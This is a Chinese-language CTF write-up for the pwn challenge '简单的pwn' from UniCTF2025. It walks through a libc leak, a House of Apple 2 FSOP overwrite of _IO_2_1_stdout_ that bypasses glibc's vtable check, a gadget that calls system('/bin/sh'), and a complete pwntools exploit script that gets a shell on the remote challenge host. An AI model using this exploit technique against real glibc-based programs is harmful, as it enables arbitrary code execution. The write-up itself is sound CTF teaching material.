简单的pwn
.png)
mian函数调用了g1
g1函数:
.png)
g2函数:
.png)
首先g1给了我们获取v1后面的栈上的任意5字节数据的能力,只要我们控制buf就行,然后调用g2,g2我们先输入一个指针,然后我们能向这个指针写入,也就是我们有一个任意写的功能
我们考虑用g1泄露libc地址
我们用gdb在write处停下,我们看栈上的情况
.png)
我们在ida中能看到v1在rbp-0x10,然后我们看到rbp+0x18,有一个libc地址,所以我们buf填0x28就能泄露libc,但是这里我们要注意不能填0x28,因为这是小端序,它在内存中是这样的
| 与rbp的偏移 | 地址 |
|---|---|
| +0x18 | a8 |
| +0x19 | bc |
| +0x1a | a4 |
| +0x1b | 25 |
| +0x1c | 0a |
| +0x1d | 7b |
| +0x1e | 00 |
| +0x1f | 00 |
假设我们用0x28,我们会把开头的7b漏掉,所以达不到我们成功泄露的标准,但是如果我们用0x29,我们漏掉的是结尾的a8,这个是可以接受的,因为本身的libc基址后面三位一定是0,所以我们用0x29泄露libc
那我们现在利用g1泄露完libc,接下来考虑怎么利用g2的任意写,那我们现在没有栈地址,没有pie地址,我们只有libc基址,那我们可以考虑用FSOP和House of apple 2
首先简单介绍一下,我也不在这里说太深的底层原理
FSOP:
在 Linux 的 glibc 中,所有的文件流(例如 stdin, stdout, stderr 以及通过 fopen 打开的文件)在底层都是由 _IO_FILE 结构体来表示的。为了管理这些零散的文件流,glibc 将它们通过一个名为 chain 的指针串联成一个单向链表,而这个链表的头部指针就是一个全局变量,叫做 _IO_list_all。
每一个 _IO_FILE 结构体不仅记录了文件的读写状态、缓冲区地址等数据,还在其末尾包含一个名为 vtable(虚表)的指针。这个虚表指向一个函数指针数组(例如 _IO_file_jumps),里面存放着负责实际执行 read、write、overflow 等操作的底层函数地址。
House of apple 2:
在 glibc 2.34 及以上版本中,传统的 __malloc_hook、__free_hook 等全局函数钩子被彻底移除,这使得以前非常流行的劫持 Hook 获得控制权的方法失效。因此,漏洞利用的焦点逐渐转移到了 _IO_FILE 结构体上。
然而,glibc 对 _IO_FILE 也加入了 _IO_vtable_check 保护。这个机制会严格检查 _IO_FILE 的虚表(vtable)指针是否落在 glibc 只读数据段的合法虚表范围内。如果攻击者强行将虚表伪造并指向可控的堆空间,程序会直接报错并终止运行。
House of Apple 2的核心原理是:利用宽字符流操作中的 _wide_data 结构体来绕过虚表校验,从而实现任意代码执行或栈迁移。
具体而言,glibc 在处理宽字符流时,会在 _IO_FILE 结构体中使用一个名为 _wide_data 的指针。这个指针指向一个 _IO_wide_data 结构体,而该结构体内部也包含一个虚表指针,称为 _wide_vtable。
漏洞的突破口在于:
- glibc 仅对
_IO_FILE主结构体的vtable有严格检查(_IO_vtable_check)。 - glibc 对
_wide_data内部的_wide_vtable没有任何地址范围的校验。
利用这个盲区,我们可以将 _IO_FILE 的主虚表设置为 glibc 内部合法的宽字符虚表(通常为 _IO_wfile_jumps),从而完美通过 _IO_vtable_check 的安检。随后,当程序执行该合法虚表中的函数(如 _IO_wfile_overflow 或 _IO_wfile_underflow)时,函数内部会去调用 _wide_data->_wide_vtable 里的函数指针。此时,由于 _wide_vtable 是我们伪造的且不受任何保护,控制流就被成功劫持了。
我们看这道题是怎么做的
payload = flat({
0x00: 0x9800,
0x20: environ,
0x28: environ + 8,
0x30: 0,
0x40: 0,
0x48: system,
0x50: binsh,
0x60: stdout - 0x28,
0x68: stdout - 0x40,
0x70: 1,
0x78: 0,
0x80: 1,
0x98: wfile_jumps,
0xb0: gadget1,
0xb8: stdout + 0x48,
}, filler=b'\x00', length=0xc0)
我们这里选择的是任意写指针为stdout,也就是我们可以修改stdout,我们先看stdout的结构(注意,这里的键是以stdout为基础)
stdout:
+0x00 -> _flags
+0x20 -> _IO_write_base
+0x28 -> _IO_write_ptr
+0x68 -> _chain
+0x70 -> _fileno
这里我把_flags设置成0x9800是为了通过检查,这个要看具体的题目来确定数值
_IO_write_base:输出缓冲区的起始位置
_IO_write_ptr:当前已经写到哪里了
举个直观例子:
如果
_IO_write_base = 0x1000
_IO_write_ptr = 0x1000
那就是空缓冲,没有待输出数据
如果
_IO_write_base = 0x1000
_IO_write_ptr = 0x1008
那就表示从 0x1000 到 0x1007 这 8 个字节是“还没 flush 出去”的数据
因为我们是靠最后的exit(0)触发,exit(0)会去查看stdout,如果看到缓冲区里面没有东西,我们后面的伪造链就进行不起来,所以我们这里要保证_IO_write_ptr比_IO_write_base大
这里我们要用两个个合法的地址填_IO_write_ptr和_IO_write_base,我们这里采用libc.sym['environ'],因为它是可读的,如果选其他的符合要求的也可以,我们再把ptr设为libc.sym['environ']+8,这样glibc就会认为stdout里还有0字节要输出,也就会进行后续的流程
我们在FSOP里提过,FILE是通过单向链表链接的,而_chain就是这个链表的指针,也就是
_chain的作用是指向链表里的下一个 FILE
所以这里是填我们伪造的FILE的开头地址,后续我们讲到这个伪造的FILE再讲为什么要是-0x40,在这里我们只要理解0x68的伪造填stdout - 0x40是告诉glibc下一个FILE(我们伪造的)去哪找
这里的 fileno 就是这个 FILE 对象绑定的文件描述符:
0 = stdin
1 = stdout
2 = stderr
这里我们打的是_IO_2_1_stdout_,所以填1
至此,我们stdout的部分讲完了,我们看下一部分,也就是我们伪造的开始地址在stdout - 0x40的FILE
| 名称 | 结构内偏移 | 在flat({})的偏移 |
|---|---|---|
| fake FILE | 0x0 | stdout - 0x40 |
| _wide_data | +0xa0 | stdout + 0x60 |
| _mode | +0xc0 | stdout + 0x80 |
| vtable | +0xd8 | stdout + 0x98 |
结构内偏移是固定的,我们是根据结构内偏移确定在flat({})的偏移的,毕竟我们的payload长度限制在0xc0
我们先看_wide_date,这个是一个“宽字符流”用的附加子结构,这个我们后面会重点说,这里就是告诉glibc这个子结构的位置
然后是讲_mode = 1
_mode <= 0 时,glibc 会按窄分支去处理 fake FILE
_mode > 0 时,glibc 才会按 wide 分支继续利用 _wide_data
在一般的House of apple 2我们用的其实是0,原因是
如果我们把 _mode 设为 1 (宽流):安检员就会去检查 _wide_data 结构体里的 write_ptr 和 write_base。这意味着我们必须在堆上额外伪造一块完整的 _wide_data 内存,并在里面精确布置这两个指针的大小关系。这增加了堆布局的复杂度。
如果我们设置为 _mode = 0 (窄流):安检员就会只检查主 _IO_FILE 结构体里的 _IO_write_ptr 和 _IO_write_base。这两个字段就在结构体的头部(偏移 0x20 和 0x28)。我们只需要随手填个 0 和 1,就能轻松骗过安检员,虽然后面会检查,但是我们只要让 _wide_data 指向一块全填 0 的空内存(仅在偏移 0xe0 处放上我们的虚表指针),_IO_write_base == 0 满足, _IO_buf_base == 0 满足。
而且只要我们把vtable设置为 _IO_wfile_jumps它不管mode是多少,都是走wide分支(后面会讲到),所以通常我们会设置成0,但是我们这题的布局是比较紧凑的,我们写入的空间有限,为了不破坏stdout的正常,我们采用了错开放置,这样我们就在stdout - 0x40的位置放了fake file,但是这样我们的_IO_write_ptr 和_IO_write_base(窄分支会检查)在stdout 0x00的上方,我们不能改变,但是我们不能保证它们两个的关系是大于的,所以我们只能走mode 1,需要我们考虑wide_date的构建
然后是vtable,这里填 _IO_wfile_jumps有两个作用
作用一:通过 _IO_vtable_check 检查
我们前面提过,高版本 glibc 会检查 fp->vtable 指针是否落在 glibc .rodata 段的合法虚表数组范围内。_IO_wfile_jumps 本身就是 glibc 内部预定义好的一个合法虚表,所以把它填进 vtable 里,就能完美骗过安全检查。
作用二:强行引导走Wide流程
在 C 语言的底层实现中,glibc 并没有一个绝对的字段来标记“这是一个普通流还是一个宽字符流”,它完全依赖虚表(vtable)中的函数指针来决定后续的操作逻辑。
当我们触发 FSOP(比如程序执行 exit() 导致 _IO_flush_all_lockp 被调用)时,glibc 会遍历每一个流,并尝试刷新它们。在底层的 C 代码中,glibc 会去调用类似 _IO_OVERFLOW(fp) 这样的宏。
这个宏的本质是去虚表里找对应的函数执行:
fp->vtable->__overflow(fp);
如果我们保留了普通的虚表(比如 _IO_file_jumps),那么程序就会去执行普通的 _IO_new_file_overflow。在这个普通函数里,glibc 是不会去管 _wide_data 这个字段的。
但是,当我们把 vtable 修改为 _IO_wfile_jumps 时:
_IO_OVERFLOW(fp)依然会被调用。- 程序去
_IO_wfile_jumps这个虚表里寻找__overflow的偏移。 - 它找到了对应的函数:
_IO_wfile_overflow。 - 程序跳转到
_IO_wfile_overflow执行。
_IO_wfile_overflow 这个函数,在这个函数的源码中,它会直接去解引用你伪造的 _wide_data,并调用里面未受保护的 _wide_vtable。
接下来我们看fake _wide_data:
| 名称 | 结构体内偏移 | flat({})偏移 |
|---|---|---|
| fake_wide_data | 0x00 | stdout - 0x28 |
| _IO_write_base | + 0x18 | stdout - 0x10 |
| _IO_write_ptr | + 0x20 | stdout - 0x8 |
| _wide_vtable | +0xe0 | stdout + 0xb8 |
这里就是告诉glibc,stdout-0x28里放着_wide_vtable的地址(我们填的是 stdout + 0x48)
我们前面说过,我们走mode 1的话会检查wide_data的_IO_write_ptr要大于_IO_write_base,
_IO_write_base在 stdout - 0x10,这是 stdin 结构体尾部的 _unused2 填充区,在正常程序中,这个区域永远是干净的 0。结果: _IO_write_base = 0。
_IO_write_ptr在 stdout - 0x08。stdout - 0x08(即 stdin + 0xd8)恰好是 stdin 的 vtable(虚表)指针所在的位置,这个指针存放着 libc 内部 _IO_file_jumps 的绝对地址,这是一个类似 0x7ffff7fa... 的极其巨大的正数。
第一阶段检查瞬间通过:glibc 判断 _IO_write_ptr > _IO_write_base,也就是判断 0x7ffff7fa... > 0。
还要满足 _IO_wfile_overflow 内部检查
绕过安检还不够,进入执行阶段后,_IO_wfile_overflow 还会检查两个条件才能调用最终的 __doallocate。你依然没有特意写,但它们依然被完美满足了:
条件 A:_IO_write_base == 0上面我们算过了,它落在 stdin 的 _unused2 里,天然是 0。完美通过。
条件 B:_IO_buf_base == 0在 _wide_data 中,_IO_buf_base 的偏移是 0x30。 计算地址:(stdout - 0x28) + 0x30 = stdout + 0x08。我们的 Payload 最后写着 filler=b'\x00'。 0x08 的位置被自动填成了 0。
然后是fake wide_vtable:
| 名称 | 结构体内偏移 | flat({})偏移 |
|---|---|---|
| fake wide_vtable | 0x00 | stdout + 0x48 |
| 0x08 | stdout + 0x50 | |
| 执行的函数 | 0x68 | stdout + 0xb0 |
glibc 为了方便寻址,通常会先把 _wide_vtable 的基址(结构体内偏移0x00)放进一个寄存器里(通常恰好是 rax)。
我们把执行的函数设为gadget:
mov rdi, qword ptr [rax + 8] ;
call qword ptr [rax] ;
❯ objdump -d -M intel ./libc.so.6 | grep -A 3 "mov rdi,QWORD PTR \[rax+0x8\]" | grep -B 3 -E "call QWORD PTR \[rax\]|jmp QWORD PTR \[rax\]"
904f8: 0f 05 syscall
--
9afe7: 48 8b 78 08 mov rdi,QWORD PTR [rax+0x8]
9afeb: ff 10 call QWORD PTR [rax]
这样,我们在stdout + 0x50([rax + 8])放binsh,binsh就被放在rdi里,stdout + 0x48放system,就是我们gadget会call system
这样,我们就了解了payload为什么这么放置了,现在就剩最后一个问题了,就是栈对齐
由于最后是call system,如果我们直接用libc.sym["system"]的地址,栈是没对齐的
.png)
我这里是用gdb的方法,实际上system真实调用起作用的是jmp和call的那个地址,然后我们看那个地址的汇编,我们可以看到我们跳过第一个push就能栈对齐了
.png)
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = 'nc1.ctfplus.cn 13321'
file_name = './PWN_patched'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
0x1266
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def ntlb(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = data if data else ru(delim)
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
s(p64(0x29))
leak1 = r(5)
ntlb(uu64(leak1)<<8,0x29c00)
stdout = libc.sym['_IO_2_1_stdout_']
environ = libc.sym['environ']
wfile_jumps = libc.sym['_IO_wfile_jumps']
binsh = se(b'/bin/sh')
system = libc.address + 0x52c92
gadget1 = libc.address + 0x9afe7
s(p64(stdout))
payload = flat({
0x00: 0x9800,
0x20: environ,
0x28: environ + 8,
0x30: 0,
0x40: 0,
0x48: system,
0x50: binsh,
0x60: stdout - 0x28,
0x68: stdout - 0x40,
0x70: 1,
0x78: 0,
0x80: 1,
0x98: wfile_jumps,
0xb0: gadget1,
0xb8: stdout + 0x48,
}, filler=b'\x00', length=0xc0)
s(payload)
it()
题目链接:
CTF-Writeups/UniCTF2025/简单的pwn at main · Zenquiem/CTF-Writeups